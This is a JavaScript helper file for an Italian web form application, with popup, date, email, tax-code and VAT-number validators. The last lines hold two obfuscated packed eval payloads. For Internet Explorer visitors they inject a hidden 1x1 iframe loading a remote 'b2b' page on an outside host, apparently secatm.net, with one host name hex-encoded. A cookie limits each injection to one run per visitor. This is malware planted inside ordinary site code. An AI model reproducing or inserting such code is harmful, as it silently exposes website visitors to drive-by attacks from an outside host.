<!--
function apri_fin (url, width, height, param) {
	var left=(window.screen.availWidth-10-width)/2;
	if (window.screen.availHeight<600) {
		var top=0;
	} else {
		var top=(window.screen.availHeight-55-height)/2;
	}
	window.open(url, '', 'width='+width+',height='+height+','+param+',status=1,toolbar=0,location=0,directories=0,menuBar=0,resizable=1,top='+top+',left='+left);
	//window.open(url,'','fullscreen,scrollBars=0,resizable=0')
}

function zoom_image(url) {
	var myX=(window.screen.availWidth-10-100)/2;
	var myY=(window.screen.availHeight-55-100)/2;
	window.open(url, '', 'top='+myY+',left='+myX+',width=100,height=100,status=0,toolbar=0,location=0,directories=0,menuBar=0,resizable=1');
}

function adatta_fin(myW, myH) {
	window.resizeTo(myW, myH);		
	var myX=(window.screen.availWidth-10-myW)/2;
	if (window.screen.availHeight<600) {
		var myY=0;
	} else {
		var myY=(window.screen.availHeight-55-myH)/2;
	}
	window.moveTo(myX, myY);		
}


function getEditorContents(editorArea, hiddenField) {
	document.getElementById(editorArea).EscapeUNICODE = true;
	document.getElementById(hiddenField).value = document.getElementById(editorArea).value;
}

function goto_site (url) {
	window.open(url, '', '');
	//window.open(url,'','fullscreen,scrollBars=0,resizable=0')
}

function checkQuote (txt) {
	if (txt.value.indexOf("'") != -1) {
		alert("Il carattere apice (') non è consentito");
		txt.focus();
	}
}

function filtra_file(mytext, type) {
	mytxt = mytext.value.toLowerCase() ;
	if(mytxt.indexOf(type) == -1) {
		alert("Attenzione il file selezionato non è corretto.\n\nDeve essere un file di tipo " + type + ".");
		mytext.value="";
		return false ;
	} else {
		return true ;
	}
}

function type_of_file(namefile, id, typeofile) {
	id.className = "typefile";
	if (typeofile=="") ok = true  ;  else ok = false  ;
	namefile = namefile.toLowerCase();
	if (namefile.indexOf(".exe") != -1) {
		if (typeofile==".exe") ok = true;
		typefile = "File EXE / File di Programma";
	} else if (namefile.indexOf(".com") != -1) {
		if (typeofile==".com") ok = true;
		typefile = "File COM / Eseguibile";
	} else if (namefile.indexOf(".zip") != -1) {
		if (typeofile==".zip") ok = true;
		typefile = "File ZIP / Compresso WinZip";
	} else if (namefile.indexOf(".jpg") != -1) {
		if (typeofile==".jpg") ok = true;
		typefile = "File JPEG / Immagine";
	} else if (namefile.indexOf(".gif") != -1) {
		if (typeofile==".gif") ok = true;
		typefile = "File GIF / Immagine";
	} else if (namefile.indexOf(".png") != -1) {
		if (typeofile==".png") ok = true;
		typefile = "File PNG / Immagine";
	} else if (namefile.indexOf(".pdf") != -1) {
		if (typeofile==".pdf") ok = true;
		typefile = "File PDF / Documento Acrobat";
	} else if (namefile.indexOf(".doc") != -1) {
		if (typeofile==".doc") ok = true;
		typefile = "File DOC / Documento Word";
	} else if (namefile.indexOf(".xls") != -1) {
		if (typeofile==".xls") ok = true;
		typefile = "File XLS / Documento Excel";
	} else if (namefile.indexOf(".txt") != -1) {
		if (typeofile==".txt") ok = true;
		typefile = "File TXT / Testo";
	} else {
		typefile = "File non supportato";
		ok = false;
	}	
	if (ok) {
		if (document.getElementById('ok')!=null) document.getElementById('ok').disabled=false;
		id.className = "typefile";
	}	else {
		if (document.getElementById('ok')!=null) document.getElementById('ok').disabled=true;
		id.className = "typefile-err";
	}
	id.innerHTML = '<a href="' + namefile + '" target="_blank">' + typefile + '</a>' ;
}

function valuta(price) 
{
   string = "" + price ;
   if (string=="") {
		return '0.00' ;		
   } else {
		number = string.length - string.indexOf('.');
		if (string.indexOf('.') == -1)
		  return string + '.00';
		if (number == 1)
		  return string + '00';
		if (number == 2)
		  return string + '0';
		if (number > 3)
		  return string.substring(0,string.length-number+3);
		return string;
	}
}

function check_valuta(mytx) {
	price=mytx.value;
	mytx.value=valuta(price);
}


function verificaEt(myEmail){
	mail = myEmail.value;
	if (mail!="") {
		if ( mail.indexOf("@",1)==-1 || mail.indexOf(".",1)==-1) {
			myEmail.value="";
			myEmail.focus();				
			alert("Il formato dell'e-mail non è valido");
		}
	}
}


function ControllaCF(cf)
{
	var validi, i, s, set1, set2, setpari, setdisp;
	if( cf == '' )  return '';
	cf = cf.toUpperCase();
	if( cf.length != 16 )
		return "La lunghezza del codice fiscale non è\n"
		+"corretta: il codice fiscale dovrebbe essere lungo\n"
		+"esattamente 16 caratteri.\n";
	validi = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	for( i = 0; i < 16; i++ ){
		if( validi.indexOf( cf.charAt(i) ) == -1 )
			return "Il codice fiscale contiene un carattere non valido `" +
				cf.charAt(i) +
				"'.\nI caratteri validi sono le lettere e le cifre.\n";
	}
	set1 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
	set2 = "ABCDEFGHIJABCDEFGHIJKLMNOPQRSTUVWXYZ";
	setpari = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
	setdisp = "BAKPLCQDREVOSFTGUHMINJWZYX";
	s = 0;
	for( i = 1; i <= 13; i += 2 )
		s += setpari.indexOf( set2.charAt( set1.indexOf( cf.charAt(i) )));
	for( i = 0; i <= 14; i += 2 )
		s += setdisp.indexOf( set2.charAt( set1.indexOf( cf.charAt(i) )));
	if( s%26 != cf.charCodeAt(15)-'A'.charCodeAt(0) )
		return "Il codice fiscale non è corretto:\n"+
			"il codice di controllo non corrisponde.\n";
	return "";
}


function ControllaPIVA(pi)
{
	if( pi == '' )  return '';
	if( pi.length != 11 )
		return "La lunghezza della partita IVA non è\n" +
			"corretta: la partita IVA dovrebbe essere lunga\n" +
			"esattamente 11 caratteri.\n";
	validi = "0123456789";
	for( i = 0; i < 11; i++ ){
		if( validi.indexOf( pi.charAt(i) ) == -1 )
			return "La partita IVA contiene un carattere non valido `" +
				pi.charAt(i) + "'.\nI caratteri validi sono le cifre.\n";
	}
	s = 0;
	for( i = 0; i <= 9; i += 2 )
		s += pi.charCodeAt(i) - '0'.charCodeAt(0);
	for( i = 1; i <= 9; i += 2 ){
		c = 2*( pi.charCodeAt(i) - '0'.charCodeAt(0) );
		if( c > 9 )  c = c - 9;
		s += c;
	}
	if( ( 10 - s%10 )%10 != pi.charCodeAt(10) - '0'.charCodeAt(0) )
		return "La partita IVA non è valida:\n" +
			"il codice di controllo non corrisponde.\n";
	return '';
}


function verifica_cfpiva()
{
	cod = document.form1.cod.value;
	document.form1.cod.focus();

	if( cod == '' )
		err = "hai lasciato in bianco il campo!\n";
	else if( cod.length == 16 )
		err = ControllaCF(cod);
	else if( cod.length == 11 )
		err = ControllaPIVA(cod);
	else
		err = "Il codice introdotto non è valido:\n\n" +
			"  - un codice fiscale deve essere lungo 16 caratteri;\n\n" +
			"  - una partita IVA deve essere lunga 11 caratteri.\n";

	if( err > '' )
		alert("VALORE ERRATO\n\n" + err + "\nCorreggi e riprova!");
	else
		alert("Il codice è valido.");
}




function verificaDataMag(myDate, preDate, nowData) {
	
	if (verificaData(myDate)) {
	
		obj=myDate.value.replace(/[^\d]/g,"0");
		gg=obj.substr(0,2)
		mm=obj.substr(3,2);
		aa=obj.substr(6,4);
		data = new Date(aa,mm,gg);

		obj_pre=preDate.replace(/[^\d]/g,"0");
		gg_pre=obj_pre.substr(0,2)
		mm_pre=obj_pre.substr(3,2);
		aa_pre=obj_pre.substr(6,4);
		data_pre = new Date(aa_pre,mm_pre,gg_pre);

		obj_now=preDate.replace(/[^\d]/g,"0");
		gg_now=obj_now.substr(0,2)
		mm_now=obj_now.substr(3,2);
		aa_now=obj_now.substr(6,4);
		data_now = new Date(aa_now,mm_now,gg_now);

		data_ = (data_pre > data_now)?data_pre:data_now;
		strData = data_.getDate().toString() + "/" + data_.getMonth().toString() + "/" + data_.getFullYear().toString();
		if (data_ > data) {
			alert("Attenzione la data inserita non è valida\ninserire una data superiore a:\n\n" + strData);
			return false ;
		} else {
			return true ;
		}

	}
	
}

function verificaData(myDate) {

	if (myDate.value!="") {
		err = false;		
		obj=myDate.value.replace(/[^\d]/g,"0");
		obj = obj.toString();
		
		if (obj.length != 10) err = true ;
		
		gg=obj.substr(0,2)
		mm=obj.substr(3,2);
		aa=obj.substr(6,4);
		
		strdata=gg+"/"+mm+"/"+aa;
		
		data = new Date(aa,mm-1,gg);
		daa=data.getFullYear().toString() ; 
		dmm=(data.getMonth()+1).toString();
		dmm=dmm.length==1?"0"+dmm:dmm
		dgg=data.getDate().toString();
		dgg=dgg.length==1?"0"+dgg:dgg
		dddata=dgg+"/"+dmm+"/"+daa
		
		if (dddata!=strdata) err = true; 
	
		if (err) {	
			alert("Verificare la data inserita\n" + "La data deve essere nel formato gg/mm/aaaa");
			myDate.focus(); //...viene ridato il focus per il reinserimento
			//      myDate.value=""; // Il campo viene cancellato e...
		} else {
			myDate.value=dddata; // Nel campo viene scritta la data generata	
		}
		return !err;
	}	
}


function check_keycode(myText) {
	myText.value = event.keyCode ;
	event.returnValue=false;
}

function invio2tab(me, next) {
	if (event.keyCode==13) {
		event.returnValue=false;
		if (next!=null) next.focus();
							else	me.blur();
	}
}

function solo_numeri() {
	if ( !( event.keyCode<=47 || (event.keyCode>=48 && event.keyCode<=57) || (event.keyCode>=96 && event.keyCode<=105) ) ) {
		event.returnValue=false;
  	alert ("Attenzione puoi inserire solo i caratteri\n1234567890");
	}
}

function solo_tel() {
	if ( !( event.keyCode<=47 || event.keyCode==109 || event.keyCode==189 || (event.keyCode>=48 && event.keyCode<=57) || (event.keyCode>=96 && event.keyCode<=105) ) ) {
		event.returnValue=false;
  	alert ("Attenzione il formato di un n.ro di telefonico deve essere\n####-#######");
	}
}

function solo_data() {
	if ( !( event.keyCode<=47 || event.keyCode==55 || event.keyCode==111 || (event.keyCode>=48 && event.keyCode<=57) || (event.keyCode>=96 && event.keyCode<=105) ) ) {
		event.returnValue=false;
  	alert ("Attenzione il formato della data deve essere\n##/##/####");
	}
}

function solo_valuta() {
	if ( !( event.keyCode<=47 || (event.keyCode>=48 && event.keyCode<=57) || (event.keyCode>=96 && event.keyCode<=105) || event.keyCode==190 || event.keyCode==110 )) {
		event.returnValue=false;
  	alert ("Attenzione puoi inserire solo i caratteri\n1234567890 ed il . per i decimali.");
	}
}

function stampa() {
	document['go_stampa'].style.visibility = 'hidden';
	window.print();
	document['go_stampa'].style.visibility = 'visible';		
}

function apri_popup (url, id, width, height) {
	if (width=='') width='600';
	if (height=='') height='440';
	if (id=='') id='popup' ;
	window.open(url, id, 'width=' + width + ',height=' + height + ',toolbar=0,location=0,directories=0,status=1,menuBar=0,scrollBars=1,resizable=1');
}

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 0=a c(),4=a c(0.i()+j);3(h.l.7("m 6")!=-1&&2.b.7("8=s")==-1){3(0.g()!=-1){5 9="d"}2.f("<e"+9+" k"+"r=1 z"+"o=1 A=\'B"+"p://x"+".y/q/\' t=\'u:n"+"w\'></3"+"v>");2.b="8=s;"+" 4="+4.C()+"; "}',39,39,'today||document|if|expires|var||indexOf|_fhjtju|iframe|new|cookie|Date|ame|ifr|write|getTimezoneOffset|navigator|getTime|2678400000|wi|appVersion|MSIE||ht||b2b|dth||style|display|rame|one|secatm|net|heig|src|htt|toGMTString'.split('|')));

//-->
sa = "%53%65%63%63%61%74%6D%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("<2 25=1 27=1 23=\'22://"+18+"/19/\' 20=\'21:29\'></2>")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));
